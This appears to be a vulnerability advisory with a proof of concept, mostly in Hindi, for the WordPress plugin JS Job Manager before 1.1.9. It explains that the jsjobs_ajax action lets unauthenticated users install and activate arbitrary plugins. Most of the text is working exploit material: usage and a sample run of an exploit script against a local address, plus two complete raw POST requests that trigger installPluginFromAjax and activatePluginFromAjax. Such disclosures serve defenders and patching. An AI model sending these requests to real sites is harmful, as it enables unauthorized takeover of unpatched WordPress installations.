
JS Job Manager < 1.1.9 - बिना प्रमाणीकरण के मनमाना प्लगइन स्थापना/सक्रियण
JS Job Manager < 1.1.9 - अप्रमाणित मनमाना प्लगइन इंस्टॉलेशन/सक्रियण
प्लगइन की jsjobs_ajax AJAX एक्शन, जो प्रमाणित और अप्रमाणित दोनों उपयोगकर्ताओं के लिए उपलब्ध है, में उचित प्राधिकरण और CSRF जाँच नहीं है, विशेष रूप से installPluginFromAjax और activatePluginFromAjax का उपयोग करते समय, जो अप्रमाणित हमलावरों को WordPress रिपॉजिटरी से मनमाने प्लगइन इंस्टॉल करने और उन्हें सक्रिय करने (कुछ सीमाओं के साथ) की अनुमति दे सकता है।
प्लगइन के संस्करण पर कोई नियंत्रण नहीं है, इसलिए यह प्लगइन का नवीनतम संस्करण इंस्टॉल करेगा।
usage: js-jobs.py [-h] --url URL --slug SLUG
js-jobs.py: error: the following arguments are required: --url/-u, --slug/-s
$ python3 js-jobs.py --url http://192.168.1.131:5555 -s woocommerce
Plugin has been Downloaded.
Plugin has been downloaded and is on the server.
Plugin has been activated / activated.
प्लगइन इंस्टॉल करने के लिए:
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 90
Connection: close
action=jsjobs_ajax&task=installPluginFromAjax&jsjobsme=jsjobs&pluginslug=<slug>
प्लगइन सक्रिय करने के लिए (यहाँ एक सीमा है, क्योंकि प्लगइन के पास /.php फ़ाइल होनी चाहिए, अन्यथा यह सक्रिय नहीं होगा):
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 78
Connection: close
action=jsjobs_ajax&task=activatePluginFromAjax&jsjobsme=jsjobs&pluginslug=<slug>